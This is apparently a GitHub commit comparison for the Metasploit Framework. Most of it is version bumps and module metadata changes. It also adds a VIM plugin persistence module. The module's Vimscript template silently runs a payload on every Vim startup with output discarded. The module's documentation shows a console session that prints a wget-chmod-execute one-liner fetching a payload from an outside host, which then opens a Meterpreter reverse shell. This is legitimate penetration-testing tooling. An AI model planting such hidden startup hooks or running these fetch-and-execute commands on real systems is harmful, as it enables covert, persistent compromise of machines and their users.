Compare commits

...

63 Commits

Author SHA1 Message Date
jenkins-metasploit 1ef3717849 automatic module_metadata_base.json update 2026-05-08 16:35:05 +00:00
Diego Ledda 5814c14781 Merge pull request #21206 from h00die/vim_plugin
vim plugin persistence
2026-05-08 12:24:22 -04:00
jenkins-metasploit 0037e42756 Bump version of framework to 6.4.133 2026-05-08 16:12:09 +00:00
adfoster-r7 33754fd7e8 Merge pull request #21424 from sjanusz-r7/fix-exec-payload-size-crash
Fix exec payload size crash
2026-05-08 17:05:58 +01:00
sjanusz-r7 79b0fd6edc Use rex-text hex string helper, fix module assembly null-terminated string usage
Use rex-text to_hex_cstring keyword arg
2026-05-08 16:41:39 +01:00
sjanusz-r7 8e432f69ca Bump rex-text 2026-05-08 16:41:35 +01:00
sjanusz-r7 d33c2f6600 Re-enabled payload cache size CI specs 2026-05-08 16:35:59 +01:00
Spencer McIntyre 50e5a85521 Merge pull request #21418 from kx7m2qd/fix-get-os-architecture
Fix get_os_architecture for Linux/BSD shell sessions
2026-05-08 09:33:45 -04:00
karan bea8eca0c6 Update rex-arch to 0.1.20 2026-05-08 09:09:10 -04:00
karan d1f9a0fd3b Fix get_os_architecture for Linux/BSD shell sessions
Uses Rex::Arch.from_uname to map uname -m output to ARCH_ constants
for non-meterpreter Linux/BSD shell sessions.

References rapid7/rex-arch#13
Fixes #21403
2026-05-08 09:09:10 -04:00
adfoster-r7 550a8cbdc3 Merge pull request #21425 from g0tmi1k/ftp_stat
ftp: Fix STAT due to unexpected response
2026-05-08 09:28:59 +01:00
g0t mi1k 89b10aa3fe ftp: Fix STAT due to unexpected response 2026-05-08 03:45:38 +01:00
h00die 4da2554a2a cleanup vim plugin 2026-05-07 20:06:32 -04:00
h00die fa69f45366 docs 2026-05-07 15:36:07 -04:00
h00die 5e39ced730 convert persistence mkdirs to lib function 2026-05-07 14:31:12 -04:00
h00die a394578488 vim plugin 2026-05-07 14:17:43 -04:00
Diego Ledda 963eaef422 Merge pull request #21411 from zeroSteiner/fix/linux-x64-exec
Escape strings embedded into the assembly of multiple payloads
2026-05-07 11:11:40 -04:00
jenkins-metasploit 2b42d779a1 automatic module_metadata_base.json update 2026-05-07 12:16:55 +00:00
adfoster-r7 817d3642c3 Merge pull request #21421 from adfoster-r7/update-validation-for-report-vuln
Update validation for report_vuln
2026-05-07 13:06:25 +01:00
adfoster-r7 9435bee69f Update validation for report_vuln 2026-05-07 11:55:39 +01:00
jenkins-metasploit dc1976058c automatic module_metadata_base.json update 2026-05-07 10:40:58 +00:00
adfoster-r7 97fba49fee Merge pull request #21314 from g0tmi1k/report_vuln
Fix #21296 - Add Msf::Auxiliary::Report
2026-05-07 11:28:49 +01:00
jenkins-metasploit 81a7646f0a automatic module_metadata_base.json update 2026-05-06 22:52:54 +00:00
adfoster-r7 a69e2ea707 Merge pull request #21413 from tart0ru5/patch-1
Improve failure condition checks
2026-05-06 23:42:37 +01:00
jenkins-metasploit 2be37dda84 automatic module_metadata_base.json update 2026-05-06 21:23:22 +00:00
Spencer McIntyre 98e588e066 Merge pull request #21410 from inkognitobo/fix/shiro-configurable-gadget-chain
Add configurable JAVA_GADGET_CHAIN option to Shiro module
2026-05-06 17:13:10 -04:00
g0t mi1k e30b6e81ad trace: Add missing report_vuln fields 2026-05-06 17:28:33 +01:00
jenkins-metasploit 38e6629582 automatic module_metadata_base.json update 2026-05-06 15:33:12 +00:00
adfoster-r7 26a7c5f417 Merge pull request #21415 from g0tmi1k/ftp_mixin
ftp: replace @banner_version with banner_version helper method
2026-05-06 16:22:38 +01:00
g0t mi1k b7e1d7ea77 ftp: replace @banner_version with banner_version helper method 2026-05-06 14:46:53 +01:00
jenkins-metasploit e3abb82e88 automatic module_metadata_base.json update 2026-05-06 13:28:27 +00:00
Christophe De La Fuente 696f530475 Merge pull request #21372 from g0tmi1k/ftp_anonymous
ftp_anonymous: Report service/vuln, store loot & update metadata
2026-05-06 15:16:23 +02:00
Spencer McIntyre 6e659caf23 Fix other instances of the same bug 2026-05-06 08:58:15 -04:00
g0t mi1k 48f178a93f ftp_anonymous: Feedback fixes 2026-05-06 13:44:43 +01:00
g0t mi1k ac20cf43e7 ftp_anonymous: Use FTP mixin 2026-05-06 13:32:13 +01:00
g0t mi1k 00c9e33a68 ftp_anonymous: report_service if missing banner 2026-05-06 13:32:13 +01:00
g0t mi1k 825e16bdc5 ftp_anonymous: report_host() when host up, service down 2026-05-06 13:32:13 +01:00
g0t mi1k d647f5f768 ftp_anonymous: Make sure to always disconnect 2026-05-06 13:32:13 +01:00
g0t mi1k 1b1edf938a ftp_anonymous: Clean up FTP banner 2026-05-06 13:32:13 +01:00
g0t mi1k 0f530ec016 ftp_anonymous: Make rubocop happy 2026-05-06 13:32:12 +01:00
g0t mi1k 51b4107dc7 ftp_anonymous: Update ruby code 2026-05-06 13:32:12 +01:00
g0t mi1k 0f696e572c ftp_anonymous: Add notes 2026-05-06 13:32:12 +01:00
g0t mi1k f6484ad724 ftp_anonymous: Store loot 2026-05-06 13:32:12 +01:00
g0t mi1k a0a774e724 ftp_anonymous: Improve logic 2026-05-06 13:32:12 +01:00
g0t mi1k efd59106a0 ftp_anonymous: Report vuln 2026-05-06 13:32:12 +01:00
g0t mi1k 3e320a9db3 ftp_anonymous: Report service 2026-05-06 13:32:12 +01:00
g0t mi1k 726d372257 ftp_anonymous: Remove line prefix 2026-05-06 13:32:12 +01:00
g0t mi1k 2c40a74483 ftp_anonymous: Add CVE 2026-05-06 13:32:12 +01:00
g0t mi1k b40623a0e1 ftp_anonymous: Move module 2026-05-06 13:32:12 +01:00
jenkins-metasploit 7888e29f2c automatic module_metadata_base.json update 2026-05-06 11:12:02 +00:00
adfoster-r7 95492d9680 Merge pull request #21380 from g0tmi1k/ftp_mixin
FTP mixin: Add report_service
2026-05-06 12:00:27 +01:00
g0t mi1k 815afec083 ftp: Add report_host 2026-05-06 10:46:01 +01:00
g0t mi1k 7d824835bc ftp: Add report_note 2026-05-06 10:46:01 +01:00
g0t mi1k 1ce7473b84 ftp: Add report_service 2026-05-06 10:45:55 +01:00
g0t mi1k 98f3bb1d84 ftp: Add banner_version 2026-05-06 10:38:30 +01:00
g0t mi1k 1a9e378dcf ftp: Fix verbose argument fallback 2026-05-06 10:36:59 +01:00
g0t mi1k addbc1b646 ftp: Remove dup IP:PORT in output 2026-05-06 10:36:59 +01:00
tart0ru5 fd6df3fb81 Improve failure condition checks
The prior check silently passes when `res` is `nil` (e.g. request
timeout / host unreachable), because `nil != 403` evaluates to `true`
2026-05-06 11:58:50 +08:00
Spencer McIntyre 9019e4c837 Escape the command in linux/x64/exec 2026-05-05 13:16:30 -04:00
inkognitobo c15d513766 Add configurable JAVA_GADGET_CHAIN option to Shiro module
The gadget chain was previously hardcoded to CommonsCollections2.
Add a JAVA_GADGET_CHAIN OptEnum so operators can select the chain
that matches the target's classpath without modifying the module.

Default remains CommonsCollections2 to preserve existing behaviour.
2026-05-05 17:55:20 +02:00
jenkins-metasploit bc5347f464 automatic module_metadata_base.json update
Command Shell Acceptance / cmd windows-2022 (push) Waiting to run
Command Shell Acceptance / linux ubuntu-latest (push) Waiting to run
Command Shell Acceptance / powershell windows-2025 (push) Waiting to run
Command Shell Acceptance / Generate report (push) Blocked by required conditions
LDAP Acceptance / LDAP Acceptance - ubuntu-latest - Ruby 3.2 (push) Waiting to run
LDAP Acceptance / Generate report (push) Blocked by required conditions
Lint / Lint msftidy (3.2) (push) Waiting to run
Meterpreter Acceptance / build (push) Waiting to run
MSSQL Acceptance / mcr.microsoft.com/mssql/server:2019-latest - ubuntu-latest - Ruby 3.2 (push) Waiting to run
MSSQL Acceptance / mcr.microsoft.com/mssql/server:2022-latest - ubuntu-latest - Ruby 3.2 (push) Waiting to run
MSSQL Acceptance / Generate report (push) Blocked by required conditions
MySQL Acceptance / mariadb:latest - ubuntu-latest - Ruby 3.2 (push) Waiting to run
MySQL Acceptance / mysql:latest - ubuntu-latest - Ruby 3.2 (push) Waiting to run
MySQL Acceptance / Generate report (push) Blocked by required conditions
Postgres Acceptance / postgres:16.2 - ubuntu-latest - Ruby 3.2 (push) Waiting to run
Postgres Acceptance / postgres:9.4 - ubuntu-latest - Ruby 3.2 (push) Waiting to run
Postgres Acceptance / Generate report (push) Blocked by required conditions
SMB Acceptance / build (push) Waiting to run
Verify / Docker Build (push) Waiting to run
Verify / ubuntu-latest - Ruby 3.2 - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" MSF_FEATURE_DEFER_MODULE_LOADS=1 (push) Waiting to run
Verify / ubuntu-latest - Ruby 3.2 - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1 (push) Waiting to run
Verify / ubuntu-latest - Ruby 3.2 - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" (push) Waiting to run
Verify / ubuntu-latest - Ruby 3.2 - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content" REMOTE_DB=1 (push) Waiting to run
Verify / ubuntu-latest - Ruby 3.2 - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content" (push) Waiting to run
Verify / ubuntu-latest - Ruby 3.3 - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1 (push) Waiting to run
Verify / ubuntu-latest - Ruby 3.3 - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" (push) Waiting to run
Verify / ubuntu-latest - Ruby 3.3 - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content" REMOTE_DB=1 (push) Waiting to run
Verify / ubuntu-latest - Ruby 3.3 - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content" (push) Waiting to run
Verify / ubuntu-latest - Ruby 3.4 - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1 (push) Waiting to run
Verify / ubuntu-latest - Ruby 3.4 - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" (push) Waiting to run
Verify / ubuntu-latest - Ruby 3.4 - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content" REMOTE_DB=1 (push) Waiting to run
Verify / ubuntu-latest - Ruby 3.4 - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content" (push) Waiting to run
2026-05-04 13:49:03 +00:00
Diego Ledda edb6844c8f Merge pull request #21404 from zeroSteiner/feat/cve-2026-31431
Fix ARMLE exec and add to Copy Fail
2026-05-04 09:37:28 -04:00
Spencer McIntyre 0c81638fff Fix ARMLE exec and add to Copy Fail 2026-04-30 20:03:04 -04:00
40 changed files with 695 additions and 289 deletions
-1
View File
@@ -56,4 +56,3 @@ group :test do
# stub and set expectations on HTTP requests
gem 'webmock', '~> 3.18'
end
+3 -3
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.4.132)
metasploit-framework (6.4.133)
aarch64
abbrev
actionpack (~> 7.2.0)
@@ -499,7 +499,7 @@ GEM
http-cookie (>= 1.0.2, < 2.0)
mime-types (>= 1.16, < 4.0)
netrc (~> 0.8)
rex-arch (0.1.19)
rex-arch (0.1.20)
rex-text
rex-bin_tools (0.1.16)
metasm
@@ -549,7 +549,7 @@ GEM
rex-socket
rex-text
rex-struct2 (0.1.5)
rex-text (0.2.62)
rex-text (0.2.63)
bigdecimal
rex-zip (0.1.6)
rex-text
+6 -6
View File
@@ -100,8 +100,8 @@ mcp, 0.13.0, "Apache 2.0"
memory_profiler, 1.1.0, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.5, "New BSD"
metasploit-credential, 6.0.21, "New BSD"
metasploit-framework, 6.4.132, "New BSD"
metasploit-credential, 6.0.23, "New BSD"
metasploit-framework, 6.4.133, "New BSD"
metasploit-model, 5.0.4, "New BSD"
metasploit-payloads, 2.0.245, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.18, "New BSD"
@@ -170,10 +170,10 @@ regexp_parser, 2.11.3, MIT
reline, 0.6.2, ruby
require_all, 3.0.0, MIT
rest-client, 2.1.0, MIT
rex-arch, 0.1.19, "New BSD"
rex-arch, 0.1.20, "New BSD"
rex-bin_tools, 0.1.16, "New BSD"
rex-core, 0.1.36, "New BSD"
rex-encoder, 0.1.8, "New BSD"
rex-encoder, 0.1.10, "New BSD"
rex-exploitation, 0.1.44, "New BSD"
rex-java, 0.1.8, "New BSD"
rex-mime, 0.1.11, "New BSD"
@@ -183,10 +183,10 @@ rex-powershell, 0.1.103, "New BSD"
rex-random_identifier, 0.1.21, "New BSD"
rex-registry, 0.1.6, "New BSD"
rex-rop_builder, 0.1.6, "New BSD"
rex-socket, 0.1.64, "New BSD"
rex-socket, 0.1.65, "New BSD"
rex-sslscan, 0.1.13, "New BSD"
rex-struct2, 0.1.5, "New BSD"
rex-text, 0.2.62, "New BSD"
rex-text, 0.2.63, "New BSD"
rex-zip, 0.1.6, "New BSD"
rexml, 3.4.1, "Simplified BSD"
rinda, 0.2.0, "ruby, Simplified BSD"
+11
View File
@@ -0,0 +1,11 @@
" NAME.vim - Runs in the background on startup, discards output
if !has('job') || exists('g:loaded_ZZWcUtfrDa')
finish
endif
let g:loaded_NAME = 1
augroup NAME
autocmd!
autocmd VimEnter * silent! call job_start(["/bin/sh", "-c", "PAYLOAD_PLACEHOLDER"], {'out_io': 'null', 'err_io': 'null'})
augroup END
+130 -67
View File
@@ -31138,7 +31138,7 @@
"autofilter_ports": [],
"autofilter_services": [],
"targets": null,
"mod_time": "2025-06-20 13:20:44 +0000",
"mod_time": "2026-05-07 11:29:41 +0000",
"path": "/modules/auxiliary/scanner/dns/dns_amp.rb",
"is_install_path": true,
"ref_name": "scanner/dns/dns_amp",
@@ -31334,43 +31334,6 @@
"needs_cleanup": false,
"actions": []
},
"auxiliary_scanner/ftp/anonymous": {
"name": "Anonymous FTP Access Detection",
"fullname": "auxiliary/scanner/ftp/anonymous",
"aliases": [],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Matteo Cantoni <goony@nothink.org>"
],
"description": "Detect anonymous (read/write) FTP server access.",
"references": [
"URL-https://en.wikipedia.org/wiki/File_Transfer_Protocol#Anonymous_FTP"
],
"platform": "",
"arch": "",
"rport": 21,
"autofilter_ports": [
21,
2121
],
"autofilter_services": [
"ftp"
],
"targets": null,
"mod_time": "2026-03-11 13:47:18 +0000",
"path": "/modules/auxiliary/scanner/ftp/anonymous.rb",
"is_install_path": true,
"ref_name": "scanner/ftp/anonymous",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {},
"session_types": false,
"needs_cleanup": false,
"actions": []
},
"auxiliary_scanner/ftp/bison_ftp_traversal": {
"name": "BisonWare BisonFTP Server 3.5 Directory Traversal Information Disclosure",
"fullname": "auxiliary/scanner/ftp/bison_ftp_traversal",
@@ -31519,6 +31482,55 @@
"needs_cleanup": false,
"actions": []
},
"auxiliary_scanner/ftp/ftp_anonymous": {
"name": "Anonymous FTP Access Detection",
"fullname": "auxiliary/scanner/ftp/ftp_anonymous",
"aliases": [
"auxiliary/scanner/ftp/anonymous"
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Matteo Cantoni <goony@nothink.org>",
"g0tmi1k"
],
"description": "Detect anonymous (read/write) FTP service access.",
"references": [
"URL-https://en.wikipedia.org/wiki/File_Transfer_Protocol#Anonymous_FTP",
"CVE-1999-0497"
],
"platform": "",
"arch": "",
"rport": 21,
"autofilter_ports": [
21,
2121
],
"autofilter_services": [
"ftp"
],
"targets": null,
"mod_time": "2026-05-06 14:46:53 +0000",
"path": "/modules/auxiliary/scanner/ftp/ftp_anonymous.rb",
"is_install_path": true,
"ref_name": "scanner/ftp/ftp_anonymous",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs"
],
"Reliability": []
},
"session_types": false,
"needs_cleanup": false,
"actions": []
},
"auxiliary_scanner/ftp/ftp_login": {
"name": "FTP Authentication Scanner",
"fullname": "auxiliary/scanner/ftp/ftp_login",
@@ -45188,7 +45200,7 @@
"https"
],
"targets": null,
"mod_time": "2025-06-23 09:30:35 +0000",
"mod_time": "2026-04-30 16:35:21 +0000",
"path": "/modules/auxiliary/scanner/http/trace.rb",
"is_install_path": true,
"ref_name": "scanner/http/trace",
@@ -84783,7 +84795,7 @@
"targets": [
"PHP Command"
],
"mod_time": "2026-04-22 11:55:15 +0000",
"mod_time": "2026-05-06 11:58:50 +0000",
"path": "/modules/exploits/linux/http/projectsend_unauth_rce.rb",
"is_install_path": true,
"ref_name": "linux/http/projectsend_unauth_rce",
@@ -92278,7 +92290,7 @@
"targets": [
"Linux Command"
],
"mod_time": "2026-04-30 17:51:30 +0000",
"mod_time": "2026-04-30 19:54:25 +0000",
"path": "/modules/exploits/linux/local/cve_2026_31431_copy_fail.rb",
"is_install_path": true,
"ref_name": "linux/local/cve_2026_31431_copy_fail",
@@ -98330,7 +98342,7 @@
"targets": [
"Automatic"
],
"mod_time": "2026-01-08 21:00:39 +0000",
"mod_time": "2026-05-07 14:31:12 +0000",
"path": "/modules/exploits/linux/persistence/autostart.rb",
"is_install_path": true,
"ref_name": "linux/persistence/autostart",
@@ -98480,7 +98492,7 @@
"targets": [
"Auto"
],
"mod_time": "2026-02-18 12:24:09 +0000",
"mod_time": "2026-05-07 20:06:32 +0000",
"path": "/modules/exploits/linux/persistence/emacs_extension.rb",
"is_install_path": true,
"ref_name": "linux/persistence/emacs_extension",
@@ -98638,7 +98650,7 @@
"systemd",
"systemd user"
],
"mod_time": "2026-01-08 21:00:39 +0000",
"mod_time": "2026-05-07 14:31:12 +0000",
"path": "/modules/exploits/linux/persistence/init_systemd.rb",
"is_install_path": true,
"ref_name": "linux/persistence/init_systemd",
@@ -98983,6 +98995,56 @@
"needs_cleanup": null,
"actions": []
},
"exploit_linux/persistence/vim_plugin": {
"name": "VIM Plugin Persistence",
"fullname": "exploit/linux/persistence/vim_plugin",
"aliases": [],
"rank": 600,
"disclosure_date": "1991-11-03",
"type": "exploit",
"author": [
"h00die"
],
"description": "This module creates a VIM Plugin which executes a payload on VIM startup.",
"references": [
"URL-https://vimways.org/2019/writing-vim-plugin/",
"URL-https://www.linode.com/docs/guides/writing-a-vim-plugin/",
"ATT&CK-T1546"
],
"platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"Auto"
],
"mod_time": "2026-05-07 14:17:43 +0000",
"path": "/modules/exploits/linux/persistence/vim_plugin.rb",
"is_install_path": true,
"ref_name": "linux/persistence/vim_plugin",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk",
"config-changes"
]
},
"session_types": [
"meterpreter",
"shell"
],
"needs_cleanup": null,
"actions": []
},
"exploit_linux/persistence/wsl/startup_folder": {
"name": "Linux WSL via Startup Folder Persistence",
"fullname": "exploit/linux/persistence/wsl/startup_folder",
@@ -119617,7 +119679,7 @@
"author": [
"L / l-codes <L / l-codes@qq.com>"
],
"description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable\n installations of Apache Shiro v1.2.4. Note that other versions of Apache Shiro may\n also be exploitable if the encryption key used by Shiro to encrypt rememberMe\n cookies is known.",
"description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable\n installations of Apache Shiro v1.2.4. Note that other versions of Apache Shiro may\n also be exploitable if the encryption key used by Shiro to encrypt rememberMe\n cookies is known.\n\n The gadget chain used for Java deserialization must be present on the target's classpath.",
"references": [
"CVE-2016-4437",
"URL-https://github.com/Medicean/VulApps/tree/master/s/shiro/1"
@@ -119644,7 +119706,7 @@
"Unix Command payload",
"Windows Command payload"
],
"mod_time": "2025-12-17 16:12:31 +0000",
"mod_time": "2026-05-05 17:12:22 +0000",
"path": "/modules/exploits/multi/http/shiro_rememberme_v124_deserialize.rb",
"is_install_path": true,
"ref_name": "multi/http/shiro_rememberme_v124_deserialize",
@@ -130659,7 +130721,7 @@
"OSX",
"Windows"
],
"mod_time": "2025-12-17 16:12:31 +0000",
"mod_time": "2026-05-07 14:31:12 +0000",
"path": "/modules/exploits/multi/persistence/obsidian_plugin.rb",
"is_install_path": true,
"ref_name": "multi/persistence/obsidian_plugin",
@@ -130767,7 +130829,7 @@
"targets": [
"Auto"
],
"mod_time": "2026-01-08 21:00:39 +0000",
"mod_time": "2026-05-07 14:31:12 +0000",
"path": "/modules/exploits/multi/persistence/python_site_specific_hook.rb",
"is_install_path": true,
"ref_name": "multi/persistence/python_site_specific_hook",
@@ -134165,7 +134227,7 @@
"Python payload",
"Command payload"
],
"mod_time": "2025-09-23 16:59:26 +0000",
"mod_time": "2026-05-07 14:31:12 +0000",
"path": "/modules/exploits/osx/persistence/launch_plist.rb",
"is_install_path": true,
"ref_name": "osx/persistence/launch_plist",
@@ -204199,7 +204261,7 @@
"targets": [
"Automatic"
],
"mod_time": "2025-12-21 08:00:03 +0000",
"mod_time": "2026-05-07 14:31:12 +0000",
"path": "/modules/exploits/windows/persistence/notepadpp_plugin.rb",
"is_install_path": true,
"ref_name": "windows/persistence/notepadpp_plugin",
@@ -204249,7 +204311,7 @@
"targets": [
"Auto"
],
"mod_time": "2026-04-13 14:56:04 +0000",
"mod_time": "2026-05-07 14:31:12 +0000",
"path": "/modules/exploits/windows/persistence/powershell_profile.rb",
"is_install_path": true,
"ref_name": "windows/persistence/powershell_profile",
@@ -213792,7 +213854,7 @@
"Spencer McIntyre",
"Jonathan Salwan"
],
"description": "Fetch and execute an ARMLE payload from an HTTP server.\nExecute an arbitrary command",
"description": "Fetch and execute an ARMLE payload from an HTTP server.\nExecute an arbitrary command or just a /bin/sh shell",
"references": [],
"platform": "Linux",
"arch": "cmd",
@@ -218153,7 +218215,7 @@
"Spencer McIntyre",
"Jonathan Salwan"
],
"description": "Fetch and execute an ARMLE payload from an HTTPS server.\nExecute an arbitrary command",
"description": "Fetch and execute an ARMLE payload from an HTTPS server.\nExecute an arbitrary command or just a /bin/sh shell",
"references": [],
"platform": "Linux",
"arch": "cmd",
@@ -222514,7 +222576,7 @@
"Spencer McIntyre",
"Jonathan Salwan"
],
"description": "Fetch and execute an ARMLE payload from a TFTP server.\nExecute an arbitrary command",
"description": "Fetch and execute an ARMLE payload from a TFTP server.\nExecute an arbitrary command or just a /bin/sh shell",
"references": [],
"platform": "Linux",
"arch": "cmd",
@@ -271735,7 +271797,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2026-04-30 15:55:14 +0000",
"mod_time": "2026-05-01 13:50:15 +0000",
"path": "/modules/payloads/singles/linux/aarch64/exec.rb",
"is_install_path": true,
"ref_name": "linux/aarch64/exec",
@@ -272145,9 +272207,10 @@
"disclosure_date": null,
"type": "payload",
"author": [
"Jonathan Salwan"
"Jonathan Salwan",
"Spencer McIntyre"
],
"description": "Execute an arbitrary command",
"description": "Execute an arbitrary command or just a /bin/sh shell",
"references": [],
"platform": "Linux",
"arch": "armle",
@@ -272155,7 +272218,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2026-05-04 13:49:03 +0000",
"path": "/modules/payloads/singles/linux/armle/exec.rb",
"is_install_path": true,
"ref_name": "linux/armle/exec",
@@ -273793,7 +273856,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2026-05-08 11:48:34 +0000",
"path": "/modules/payloads/singles/linux/x64/exec.rb",
"is_install_path": true,
"ref_name": "linux/x64/exec",
@@ -274088,7 +274151,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-07-05 15:57:38 +0000",
"mod_time": "2026-05-08 11:48:34 +0000",
"path": "/modules/payloads/singles/linux/x64/set_hostname.rb",
"is_install_path": true,
"ref_name": "linux/x64/set_hostname",
@@ -274476,7 +274539,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2026-05-08 11:48:34 +0000",
"path": "/modules/payloads/singles/linux/x86/exec.rb",
"is_install_path": true,
"ref_name": "linux/x86/exec",
@@ -275018,7 +275081,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2026-05-08 11:48:34 +0000",
"path": "/modules/payloads/singles/linux/x86/read_file.rb",
"is_install_path": true,
"ref_name": "linux/x86/read_file",
@@ -277000,7 +277063,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2026-05-08 11:48:34 +0000",
"path": "/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "osx/x64/shell_reverse_tcp",
@@ -282576,7 +282639,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2026-04-17 05:35:14 +0000",
"mod_time": "2026-05-08 11:48:34 +0000",
"path": "/modules/payloads/singles/windows/download_exec.rb",
"is_install_path": true,
"ref_name": "windows/download_exec",
@@ -282711,7 +282774,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2026-04-17 05:35:14 +0000",
"mod_time": "2026-05-08 11:48:34 +0000",
"path": "/modules/payloads/singles/windows/messagebox.rb",
"is_install_path": true,
"ref_name": "windows/messagebox",
@@ -289259,7 +289322,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2026-04-17 05:35:14 +0000",
"mod_time": "2026-05-08 11:48:34 +0000",
"path": "/modules/payloads/singles/windows/x64/download_exec.rb",
"is_install_path": true,
"ref_name": "windows/x64/download_exec",
@@ -289353,7 +289416,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2026-04-17 05:35:14 +0000",
"mod_time": "2026-05-08 11:48:34 +0000",
"path": "/modules/payloads/singles/windows/x64/messagebox.rb",
"is_install_path": true,
"ref_name": "windows/x64/messagebox",
@@ -52,7 +52,7 @@ This module allows us to scan through a series of IP Addresses and provide detai
## Verification Steps
1. Do: ```use auxiliary/scanner/ftp/anonymous```
1. Do: ```use auxiliary/scanner/ftp/ftp_anonymous```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set RPORT [IP]```
4. Do: ```run```
@@ -62,17 +62,17 @@ This module allows us to scan through a series of IP Addresses and provide detai
### vsFTPd 3.0.3 on Kali
```
msf > use auxiliary/scanner/ftp/anonymous
msf auxiliary(anonymous) > set RHOSTS 127.0.0.1
msf > use auxiliary/scanner/ftp/ftp_anonymous
msf auxiliary(ftp_anonymous) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf auxiliary(anonymous) > set RPORT 21
msf auxiliary(ftp_anonymous) > set RPORT 21
RPORT => 21
msf auxiliary(anonymous) > exploit
msf auxiliary(ftp_anonymous) > exploit
[+] 127.0.0.1:21 - 127.0.0.1:21 - Anonymous READ (220 (vsFTPd 3.0.3))
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(anonymous) >
msf auxiliary(ftp_anonymous) >
```
## Confirming using NMAP
@@ -0,0 +1,99 @@
## Vulnerable Application
This module creates a VIM Plugin which executes a payload on VIM startup.
## Verification Steps
1. Install the application if needed
2. Start msfconsole
3. Get a shell on a linux computer with vim installed
4. Do: `use exploit/linux/persistence/vim_persistence`
5. Do: `run`
6. Start `vim` on the remote computer
7. You should get a shell.
## Options
### NAME
Name of the extension. Defaults to random.
## Scenarios
### vim 9.1.2141 on Kali 2026.1
```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
srvport => 8082
resource (/root/.msf4/msfconsole.rc)> set uripath l
uripath => l
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4446
lport => 4446
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4446
[*] Using URL: http://1.1.1.1:8082/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO b1ULF8bg --no-check-certificate http://1.1.1.1:8082/l; chmod +x b1ULF8bg; ./b1ULF8bg& disown
msf exploit(multi/script/web_delivery) >
[*] 1.1.1.1 web_delivery - Delivering Payload (250 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 1.1.1.1
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 1.1.1.1:35126) at 2026-03-30 08:43:36 -0400
msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: h00die
meterpreter > sysinfo
Computer : h00die-kali
OS : Debian (Linux 6.18.12+kali-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/vim_persistence
